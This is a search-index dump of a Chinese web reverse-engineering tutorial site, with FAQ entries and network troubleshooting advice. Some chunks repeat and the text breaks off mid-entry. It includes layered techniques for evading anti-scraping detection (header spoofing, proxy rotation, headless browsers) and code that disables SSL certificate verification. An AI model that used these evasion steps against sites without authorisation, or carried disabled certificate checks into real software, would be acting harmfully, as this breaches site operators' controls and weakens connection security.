Web 逆向需要哪些基础知识？ A: 必备基础: HTTP/HTTPS 协议: 理解请求/响应、状态码、头部 JavaScript 基础: 变量、函数、闭包、原型链、异步编程 HTML/CSS: DOM 结构、选择器 开发者工具: Chrome DevTools 基本使用 推荐掌握: Python/Node.js 编程 正则表达式 基础加密算法（MD5、SHA、AES） 网络抓包工具（Burp Suite、Charles） 可选进阶: 数据结构与算法 编译原理（AST） WebAssembly 密码学 ","date":"2025-05-27","objectID":"/reverse_engineering/web/11-resources/faq/:2:1","tags":["Web","学习","签名验证","WebAssembly","代理池","资源"],"title":"常见问题 (FAQ)","uri":"/reverse_engineering/web/11-resources/faq/#q1-学习-web-逆向需要哪些基础知识"},{"categories":null,"collections":null,"content":"Q2: 我应该从哪里开始学习？ A: 推荐学习路线: 第一阶段：基础入门（1-2 周） 学习 HTTP 协议和浏览器工作原理 熟练使用 Chrome DevTools（Network、Sources、Console） 掌握 JavaScript 基础语法 第二阶段：工具使用（1-2 周） 学习 Burp Suite 或 Charles 抓包 了解 Puppeteer/Playwright 基本用法 练习简单的爬虫项目 第三阶段：技术提升（2-4 周） 学习 JavaScript 反混淆 理解常见加密算法 掌握 Hook 技术 第四阶段：实战演练（持续） 分析真实网站案例 参与 CTF 比赛 阅读优秀开源项目 ","date":"2025-05-27","objectID":"/reverse_engineering/web/11-resources/faq/:2:2","tags":["Web","学习","签名验证","WebAssembly","代理池","资源"],"title":"常见问题 (FAQ)","uri":"/reverse_engineering/web/11-resources/faq/#q2-我应该从哪里开始学习"},{"categories":null,"collections":null,"content":"Q3: Web 逆向合法吗？ A: 合法性取决于目的和方式: ✅ 合法场景: 学习和研究目的 自己网站的安全测试 获得授权的渗透测试 CTF 比赛 开源项目分析 ❌ 非法场景: 未经授权访问他人系统 窃取敏感数据 恶意攻击网站 侵犯知识产权 违反用户协议（ToS） 建议: 遵守 robots.txt 尊重网站的服务条款 不要进行 DDoS 攻击 不要爬取敏感个人信息 设置合理的请求频率 ","date":"2025-05-27","objectID":"/reverse_engineering/web/11-resources/faq/:2:3","tags":["Web","学习","签名验证","WebAssembly","代理池","资源"],"title":"常见问题 (FAQ)","uri":"/reverse_engineering/web/11-resources/faq/#q3-web-逆向合法吗"},{"categories":null,"collections":null,"content":"技术问题 ","date":"2025-05-27","objectID":"/reverse_engineering/web/11-resources/faq/:3:0","tags":["Web","学习","签名验证","WebAssembly","代理池","资源"],"title":"常见问题 (FAQ)","uri":"/reverse_engineering/web/11-resources/faq/#技术问题"},{"categories":null,"collections":null,"content":"Q4: 如何绕过反爬虫检测？ A: 分层对抗策略: 第一层：基础伪装 headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...', 'Referer': 'https://example.com/', 'Accept': 'text/html,application/xhtml+xml,application/xml', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', } 第二层：行为模拟 import time import random time.sleep(random.uniform(1, 3)) # 随机延迟 第三层：使用真实浏览器 from playwright.sync_api import sync_playwright with sync_playwright() as p: browser = p.chromium.launch() page = browser.new_page() page.goto('https://example.com') 第四层：代理轮换 proxies = ['http://proxy1.com:8080', 'http://proxy2.com:8080'] proxy = random.choice(proxies) 详见: 反爬虫技术深度分析 ","date":"2025-05-27","objectID":"/reverse_engineering/web/11-resources/faq/:3:1","tags":["Web","学习","签名验证","WebAssembly","代理池","资源"],"title":"常见问题 (FAQ)","uri":"/reverse_engineering/web/11-resources/faq/#q4-如何绕过反爬虫检测"},{"categories":null,"collections":null,"content":"Q5: 如何找到加密参数的生成位置？ A: 方法一：全局搜索 打开 DevTools -\u003e Sources Ctrl+Shift+F 全局搜索参数名（如 sign） 查看每个结果，找到赋值位置 方法二：XHR 断点 DevTools -\u003e Sources -\u003e XHR/fetch Breakpoints 添加 URL 关键词（如 /api/） 刷新页面，断点停下 查看 Call Stack，定位生成函数 方法三：Hook 拦截 const originalFetch = window.fetch; window.fetch = function (...args) { console.log(\"[Fetch]\", args); debugger; // 自动断点 return originalFetch.apply(this, args); }; 详见: 调试技巧与断点设置 ","date":"2025-05-27","objectID":"/reverse_engineering/web/11-resources/faq/:3:2","tags":["Web","学习","签名验证","WebAssembly","代理池","资源"],"title":"常见问题 (FAQ)","uri":"/reverse_engineering/web/11-resources/faq/#q5-如何找到加密参数的生成位置"},{"categories":null,"collections":null,"content":"Q6: JavaScript 代码被混淆了怎么办？ A: 分步还原: 第一步：格式化 # 使用 Prettier prettier --write obfuscated.js 第二步：识别混淆类型 变量名混淆：_0x1a2b 字符串数组：var arr = ['str1', 'str2'] 控制流平坦化：switch-case 结构 第三步：使用工具 在线工具: https://lelinhtinh.github.io/de4js/ AST 工具: Babel Webpack 反打包: webcrack 第四步：手动分析 动态调试优于静态分析 结合 DevTools 断点 理解核心逻辑即可，无需完全还原 详见: JavaScript 反混淆 ","date":"2025-05-27","objectID":"/reverse_engineering/web/11-resources/faq/:3:3","tags":["Web","学习","签名验证","WebAssembly","代理池","资源"],"title":"常见问题 (FAQ)","uri":"/reverse_engineering/web/11-resources/faq/#q6-javascript-代码被混淆了怎么办"},{"categories":null,"collections":null,"content":"Q7: 如何处理动态加载的内容？ A: 方法一：Puppeteer 等待加载 await page.goto(\"https://example.com\"); // 等待特定元素出现 await page.waitForSelector(\".item\"); // 等待网络空闲 await page.waitForNetworkIdle(); 方法二：Selenium 等待 from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC wait = WebDriverWait(driver, 10) element = wait.until(EC.presence_of_element_located((By.CLASS_NAME, 'item'))) 方法三：分析 AJAX 请求 直接分析动态内容的 API 请求 跳过页面渲染，直接请求 API 效率更高 ","date":"2025-05-27","objectID":"/reverse_engineering/web/11-resources/faq/:3:4","tags":["Web","学习","签名验证","WebAssembly","代理池","资源"],"title":"常见问题 (FAQ)","uri":"/reverse_engineering/web/11-resources/faq/#q7-如何处理动态加载的内容"},{"categories":null,"collections":null,"content":"相关章节 学习资源 开源项目推荐 逆向工程工作流 ","date":"2025-05-27","objectID":"/reverse_engineering/web/11-resources/faq/:4:0","tags":["Web","学习","签名验证","WebAssembly","代理池","资源"],"title":"常见问题 (FAQ)","uri":"/reverse_engineering/web/11-resources/faq/#相关章节"},{"categories":null,"collections":null,"content":"网络和请求问题 常见的网络连接和 HTTP 请求问题及解决方案。 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:0:0","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#网络和请求问题"},{"categories":null,"collections":null,"content":"请求超时 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:1:0","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#请求超时"},{"categories":null,"collections":null,"content":"问题表现 requests.exceptions.Timeout: HTTPConnectionPool(host='example.com', port=80): Read timed out. (read timeout=10) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:1:1","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#问题表现"},{"categories":null,"collections":null,"content":"原因分析 网络延迟过高 服务器响应慢 超时设置过短 代理连接问题 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:1:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#原因分析"},{"categories":null,"collections":null,"content":"解决方案 1. 增加超时时间 import requests # 设置更长的超时时间 (连接超时, 读取超时) response = requests.get(url, timeout=(10, 30)) # 或者只设置总超时 response = requests.get(url, timeout=60) 2. 配置重试机制 from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry session = requests.Session() # 配置重试策略 retry_strategy = Retry( total=3, # 总重试次数 backoff_factor=2, # 重试间隔倍数 status_forcelist=[429, 500, 502, 503, 504], allowed_methods=[\"HEAD\", \"GET\", \"OPTIONS\", \"POST\"] ) adapter = HTTPAdapter(max_retries=retry_strategy) session.mount(\"http://\", adapter) session.mount(\"https://\", adapter) # 发送请求 response = session.get(url, timeout=30) 3. 使用异步请求 import asyncio import aiohttp async def fetch(session, url): try: async with session.get(url, timeout=30) as response: return await response.text() except asyncio.TimeoutError: print(f\"Timeout: {url}\") return None async def main(): async with aiohttp.ClientSession() as session: tasks = [fetch(session, url) for url in urls] results = await asyncio.gather(*tasks) return results results = asyncio.run(main()) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:1:3","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#解决方案"},{"categories":null,"collections":null,"content":"解决方案 1. 增加超时时间 import requests # 设置更长的超时时间 (连接超时, 读取超时) response = requests.get(url, timeout=(10, 30)) # 或者只设置总超时 response = requests.get(url, timeout=60) 2. 配置重试机制 from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry session = requests.Session() # 配置重试策略 retry_strategy = Retry( total=3, # 总重试次数 backoff_factor=2, # 重试间隔倍数 status_forcelist=[429, 500, 502, 503, 504], allowed_methods=[\"HEAD\", \"GET\", \"OPTIONS\", \"POST\"] ) adapter = HTTPAdapter(max_retries=retry_strategy) session.mount(\"http://\", adapter) session.mount(\"https://\", adapter) # 发送请求 response = session.get(url, timeout=30) 3. 使用异步请求 import asyncio import aiohttp async def fetch(session, url): try: async with session.get(url, timeout=30) as response: return await response.text() except asyncio.TimeoutError: print(f\"Timeout: {url}\") return None async def main(): async with aiohttp.ClientSession() as session: tasks = [fetch(session, url) for url in urls] results = await asyncio.gather(*tasks) return results results = asyncio.run(main()) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:1:3","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#1-增加超时时间"},{"categories":null,"collections":null,"content":"解决方案 1. 增加超时时间 import requests # 设置更长的超时时间 (连接超时, 读取超时) response = requests.get(url, timeout=(10, 30)) # 或者只设置总超时 response = requests.get(url, timeout=60) 2. 配置重试机制 from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry session = requests.Session() # 配置重试策略 retry_strategy = Retry( total=3, # 总重试次数 backoff_factor=2, # 重试间隔倍数 status_forcelist=[429, 500, 502, 503, 504], allowed_methods=[\"HEAD\", \"GET\", \"OPTIONS\", \"POST\"] ) adapter = HTTPAdapter(max_retries=retry_strategy) session.mount(\"http://\", adapter) session.mount(\"https://\", adapter) # 发送请求 response = session.get(url, timeout=30) 3. 使用异步请求 import asyncio import aiohttp async def fetch(session, url): try: async with session.get(url, timeout=30) as response: return await response.text() except asyncio.TimeoutError: print(f\"Timeout: {url}\") return None async def main(): async with aiohttp.ClientSession() as session: tasks = [fetch(session, url) for url in urls] results = await asyncio.gather(*tasks) return results results = asyncio.run(main()) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:1:3","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#2-配置重试机制"},{"categories":null,"collections":null,"content":"解决方案 1. 增加超时时间 import requests # 设置更长的超时时间 (连接超时, 读取超时) response = requests.get(url, timeout=(10, 30)) # 或者只设置总超时 response = requests.get(url, timeout=60) 2. 配置重试机制 from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry session = requests.Session() # 配置重试策略 retry_strategy = Retry( total=3, # 总重试次数 backoff_factor=2, # 重试间隔倍数 status_forcelist=[429, 500, 502, 503, 504], allowed_methods=[\"HEAD\", \"GET\", \"OPTIONS\", \"POST\"] ) adapter = HTTPAdapter(max_retries=retry_strategy) session.mount(\"http://\", adapter) session.mount(\"https://\", adapter) # 发送请求 response = session.get(url, timeout=30) 3. 使用异步请求 import asyncio import aiohttp async def fetch(session, url): try: async with session.get(url, timeout=30) as response: return await response.text() except asyncio.TimeoutError: print(f\"Timeout: {url}\") return None async def main(): async with aiohttp.ClientSession() as session: tasks = [fetch(session, url) for url in urls] results = await asyncio.gather(*tasks) return results results = asyncio.run(main()) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:1:3","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#3-使用异步请求"},{"categories":null,"collections":null,"content":"连接被拒绝 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:2:0","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#连接被拒绝"},{"categories":null,"collections":null,"content":"问题表现 requests.exceptions.ConnectionError: HTTPConnectionPool(host='example.com', port=80): Max retries exceeded with url: / (Caused by NewConnectionError) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:2:1","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#问题表现-1"},{"categories":null,"collections":null,"content":"原因分析 目标服务器不可用 网络不通 端口错误 防火墙拦截 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:2:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#原因分析-1"},{"categories":null,"collections":null,"content":"解决方案 1. 检查网络连通性 # 测试连接 ping example.com # 测试端口 telnet example.com 80 # 或使用 nc nc -zv example.com 80 # 使用 curl 测试 curl -I https://example.com 2. 检查 URL 格式 from urllib.parse import urlparse url = \"https://example.com:443/path\" parsed = urlparse(url) print(f\"Scheme: {parsed.scheme}\") # https print(f\"Host: {parsed.netloc}\") # example.com:443 print(f\"Port: {parsed.port}\") # 443 print(f\"Path: {parsed.path}\") # /path # 确保 URL 格式正确 if not url.startswith(('http://', 'https://')): url = 'https://' + url 3. 配置代理 proxies = { 'http': 'http://proxy.com:8080', 'https': 'http://proxy.com:8080', } response = requests.get(url, proxies=proxies) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:2:3","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#解决方案-1"},{"categories":null,"collections":null,"content":"解决方案 1. 检查网络连通性 # 测试连接 ping example.com # 测试端口 telnet example.com 80 # 或使用 nc nc -zv example.com 80 # 使用 curl 测试 curl -I https://example.com 2. 检查 URL 格式 from urllib.parse import urlparse url = \"https://example.com:443/path\" parsed = urlparse(url) print(f\"Scheme: {parsed.scheme}\") # https print(f\"Host: {parsed.netloc}\") # example.com:443 print(f\"Port: {parsed.port}\") # 443 print(f\"Path: {parsed.path}\") # /path # 确保 URL 格式正确 if not url.startswith(('http://', 'https://')): url = 'https://' + url 3. 配置代理 proxies = { 'http': 'http://proxy.com:8080', 'https': 'http://proxy.com:8080', } response = requests.get(url, proxies=proxies) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:2:3","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#1-检查网络连通性"},{"categories":null,"collections":null,"content":"解决方案 1. 检查网络连通性 # 测试连接 ping example.com # 测试端口 telnet example.com 80 # 或使用 nc nc -zv example.com 80 # 使用 curl 测试 curl -I https://example.com 2. 检查 URL 格式 from urllib.parse import urlparse url = \"https://example.com:443/path\" parsed = urlparse(url) print(f\"Scheme: {parsed.scheme}\") # https print(f\"Host: {parsed.netloc}\") # example.com:443 print(f\"Port: {parsed.port}\") # 443 print(f\"Path: {parsed.path}\") # /path # 确保 URL 格式正确 if not url.startswith(('http://', 'https://')): url = 'https://' + url 3. 配置代理 proxies = { 'http': 'http://proxy.com:8080', 'https': 'http://proxy.com:8080', } response = requests.get(url, proxies=proxies) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:2:3","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#2-检查-url-格式"},{"categories":null,"collections":null,"content":"解决方案 1. 检查网络连通性 # 测试连接 ping example.com # 测试端口 telnet example.com 80 # 或使用 nc nc -zv example.com 80 # 使用 curl 测试 curl -I https://example.com 2. 检查 URL 格式 from urllib.parse import urlparse url = \"https://example.com:443/path\" parsed = urlparse(url) print(f\"Scheme: {parsed.scheme}\") # https print(f\"Host: {parsed.netloc}\") # example.com:443 print(f\"Port: {parsed.port}\") # 443 print(f\"Path: {parsed.path}\") # /path # 确保 URL 格式正确 if not url.startswith(('http://', 'https://')): url = 'https://' + url 3. 配置代理 proxies = { 'http': 'http://proxy.com:8080', 'https': 'http://proxy.com:8080', } response = requests.get(url, proxies=proxies) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:2:3","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#3-配置代理"},{"categories":null,"collections":null,"content":"SSL 证书错误 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:3:0","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#ssl-证书错误"},{"categories":null,"collections":null,"content":"问题表现 requests.exceptions.SSLError: HTTPSConnectionPool(host='example.com', port=443): SSL certificate verify failed ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:3:1","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#问题表现-2"},{"categories":null,"collections":null,"content":"原因分析 服务器证书过期 证书不被信任 自签名证书 证书链不完整 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:3:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#原因分析-2"},{"categories":null,"collections":null,"content":"解决方案 1. 禁用 SSL 验证 (仅用于测试) import requests import urllib3 # 禁用 SSL 警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 禁用验证 response = requests.get(url, verify=False) 2. 指定 CA 证书 # 使用系统证书 import certifi response = requests.get(url, verify=certifi.where()) # 或指定自定义证书 response = requests.get(url, verify='/path/to/ca-bundle.crt') 3. 使用自定义 SSL 上下文 import ssl import urllib3 # 创建 SSL 上下文 context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE # 使用 urllib3 http = urllib3.PoolManager( ssl_context=context, cert_reqs='CERT_NONE' ) response = http.request('GET', url) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:3:3","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#解决方案-2"},{"categories":null,"collections":null,"content":"解决方案 1. 禁用 SSL 验证 (仅用于测试) import requests import urllib3 # 禁用 SSL 警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 禁用验证 response = requests.get(url, verify=False) 2. 指定 CA 证书 # 使用系统证书 import certifi response = requests.get(url, verify=certifi.where()) # 或指定自定义证书 response = requests.get(url, verify='/path/to/ca-bundle.crt') 3. 使用自定义 SSL 上下文 import ssl import urllib3 # 创建 SSL 上下文 context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE # 使用 urllib3 http = urllib3.PoolManager( ssl_context=context, cert_reqs='CERT_NONE' ) response = http.request('GET', url) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:3:3","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#1-禁用-ssl-验证-仅用于测试"},{"categories":null,"collections":null,"content":"解决方案 1. 禁用 SSL 验证 (仅用于测试) import requests import urllib3 # 禁用 SSL 警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 禁用验证 response = requests.get(url, verify=False) 2. 指定 CA 证书 # 使用系统证书 import certifi response = requests.get(url, verify=certifi.where()) # 或指定自定义证书 response = requests.get(url, verify='/path/to/ca-bundle.crt') 3. 使用自定义 SSL 上下文 import ssl import urllib3 # 创建 SSL 上下文 context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE # 使用 urllib3 http = urllib3.PoolManager( ssl_context=context, cert_reqs='CERT_NONE' ) response = http.request('GET', url) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:3:3","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#2-指定-ca-证书"},{"categories":null,"collections":null,"content":"解决方案 1. 禁用 SSL 验证 (仅用于测试) import requests import urllib3 # 禁用 SSL 警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 禁用验证 response = requests.get(url, verify=False) 2. 指定 CA 证书 # 使用系统证书 import certifi response = requests.get(url, verify=certifi.where()) # 或指定自定义证书 response = requests.get(url, verify='/path/to/ca-bundle.crt') 3. 使用自定义 SSL 上下文 import ssl import urllib3 # 创建 SSL 上下文 context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE # 使用 urllib3 http = urllib3.PoolManager( ssl_context=context, cert_reqs='CERT_NONE' ) response = http.request('GET', url) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:3:3","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#3-使用自定义-ssl-上下文"},{"categories":null,"collections":null,"content":"代理配置问题 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:4:0","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#代理配置问题"},{"categories":null,"collections":null,"content":"问题表现 请求无法通过代理 代理认证失败 HTTPS 代理不生效 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:4:1","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#问题表现-3"},{"categories":null,"collections":null,"content":"解决方案 1. HTTP 代理 # 基础代理 proxies = { 'http': 'http://proxy.com:8080', 'https': 'http://proxy.com:8080', } response = requests.get(url, proxies=proxies) 2. SOCKS 代理 # 需要安装: pip install requests[socks] proxies = { 'http': 'socks5://127.0.0.1:1080', 'https': 'socks5://127.0.0.1:1080', } response = requests.get(url, proxies=proxies) 3. 代理认证 # 带用户名密码的代理 proxies = { 'http': 'http://username:password@proxy.com:8080', 'https': 'http://username:password@proxy.com:8080', } response = requests.get(url, proxies=proxies) 4. 环境变量配置 # Linux/Mac export HTTP_PROXY=\"http://proxy.com:8080\" export HTTPS_PROXY=\"http://proxy.com:8080\" # Windows set HTTP_PROXY=http://proxy.com:8080 set HTTPS_PROXY=http://proxy.com:8080 # 自动使用环境变量中的代理 response = requests.get(url) # 会自动读取 HTTP_PROXY 5. 验证代理配置 import requests def test_proxy(proxy_url): \"\"\"测试代理是否可用\"\"\" proxies = { 'http': proxy_url, 'https': proxy_url, } try: response = requests.get( 'http://httpbin.org/ip', proxies=proxies, timeout=10 ) print(f\"✅ Proxy working: {response.json()}\") return True except Exception as e: print(f\"❌ Proxy failed: {e}\") return False test_proxy('http://127.0.0.1:7890') ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:4:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#解决方案-3"},{"categories":null,"collections":null,"content":"解决方案 1. HTTP 代理 # 基础代理 proxies = { 'http': 'http://proxy.com:8080', 'https': 'http://proxy.com:8080', } response = requests.get(url, proxies=proxies) 2. SOCKS 代理 # 需要安装: pip install requests[socks] proxies = { 'http': 'socks5://127.0.0.1:1080', 'https': 'socks5://127.0.0.1:1080', } response = requests.get(url, proxies=proxies) 3. 代理认证 # 带用户名密码的代理 proxies = { 'http': 'http://username:password@proxy.com:8080', 'https': 'http://username:password@proxy.com:8080', } response = requests.get(url, proxies=proxies) 4. 环境变量配置 # Linux/Mac export HTTP_PROXY=\"http://proxy.com:8080\" export HTTPS_PROXY=\"http://proxy.com:8080\" # Windows set HTTP_PROXY=http://proxy.com:8080 set HTTPS_PROXY=http://proxy.com:8080 # 自动使用环境变量中的代理 response = requests.get(url) # 会自动读取 HTTP_PROXY 5. 验证代理配置 import requests def test_proxy(proxy_url): \"\"\"测试代理是否可用\"\"\" proxies = { 'http': proxy_url, 'https': proxy_url, } try: response = requests.get( 'http://httpbin.org/ip', proxies=proxies, timeout=10 ) print(f\"✅ Proxy working: {response.json()}\") return True except Exception as e: print(f\"❌ Proxy failed: {e}\") return False test_proxy('http://127.0.0.1:7890') ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:4:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#1-http-代理"},{"categories":null,"collections":null,"content":"解决方案 1. HTTP 代理 # 基础代理 proxies = { 'http': 'http://proxy.com:8080', 'https': 'http://proxy.com:8080', } response = requests.get(url, proxies=proxies) 2. SOCKS 代理 # 需要安装: pip install requests[socks] proxies = { 'http': 'socks5://127.0.0.1:1080', 'https': 'socks5://127.0.0.1:1080', } response = requests.get(url, proxies=proxies) 3. 代理认证 # 带用户名密码的代理 proxies = { 'http': 'http://username:password@proxy.com:8080', 'https': 'http://username:password@proxy.com:8080', } response = requests.get(url, proxies=proxies) 4. 环境变量配置 # Linux/Mac export HTTP_PROXY=\"http://proxy.com:8080\" export HTTPS_PROXY=\"http://proxy.com:8080\" # Windows set HTTP_PROXY=http://proxy.com:8080 set HTTPS_PROXY=http://proxy.com:8080 # 自动使用环境变量中的代理 response = requests.get(url) # 会自动读取 HTTP_PROXY 5. 验证代理配置 import requests def test_proxy(proxy_url): \"\"\"测试代理是否可用\"\"\" proxies = { 'http': proxy_url, 'https': proxy_url, } try: response = requests.get( 'http://httpbin.org/ip', proxies=proxies, timeout=10 ) print(f\"✅ Proxy working: {response.json()}\") return True except Exception as e: print(f\"❌ Proxy failed: {e}\") return False test_proxy('http://127.0.0.1:7890') ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:4:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#2-socks-代理"},{"categories":null,"collections":null,"content":"解决方案 1. HTTP 代理 # 基础代理 proxies = { 'http': 'http://proxy.com:8080', 'https': 'http://proxy.com:8080', } response = requests.get(url, proxies=proxies) 2. SOCKS 代理 # 需要安装: pip install requests[socks] proxies = { 'http': 'socks5://127.0.0.1:1080', 'https': 'socks5://127.0.0.1:1080', } response = requests.get(url, proxies=proxies) 3. 代理认证 # 带用户名密码的代理 proxies = { 'http': 'http://username:password@proxy.com:8080', 'https': 'http://username:password@proxy.com:8080', } response = requests.get(url, proxies=proxies) 4. 环境变量配置 # Linux/Mac export HTTP_PROXY=\"http://proxy.com:8080\" export HTTPS_PROXY=\"http://proxy.com:8080\" # Windows set HTTP_PROXY=http://proxy.com:8080 set HTTPS_PROXY=http://proxy.com:8080 # 自动使用环境变量中的代理 response = requests.get(url) # 会自动读取 HTTP_PROXY 5. 验证代理配置 import requests def test_proxy(proxy_url): \"\"\"测试代理是否可用\"\"\" proxies = { 'http': proxy_url, 'https': proxy_url, } try: response = requests.get( 'http://httpbin.org/ip', proxies=proxies, timeout=10 ) print(f\"✅ Proxy working: {response.json()}\") return True except Exception as e: print(f\"❌ Proxy failed: {e}\") return False test_proxy('http://127.0.0.1:7890') ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:4:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#3-代理认证"},{"categories":null,"collections":null,"content":"解决方案 1. HTTP 代理 # 基础代理 proxies = { 'http': 'http://proxy.com:8080', 'https': 'http://proxy.com:8080', } response = requests.get(url, proxies=proxies) 2. SOCKS 代理 # 需要安装: pip install requests[socks] proxies = { 'http': 'socks5://127.0.0.1:1080', 'https': 'socks5://127.0.0.1:1080', } response = requests.get(url, proxies=proxies) 3. 代理认证 # 带用户名密码的代理 proxies = { 'http': 'http://username:password@proxy.com:8080', 'https': 'http://username:password@proxy.com:8080', } response = requests.get(url, proxies=proxies) 4. 环境变量配置 # Linux/Mac export HTTP_PROXY=\"http://proxy.com:8080\" export HTTPS_PROXY=\"http://proxy.com:8080\" # Windows set 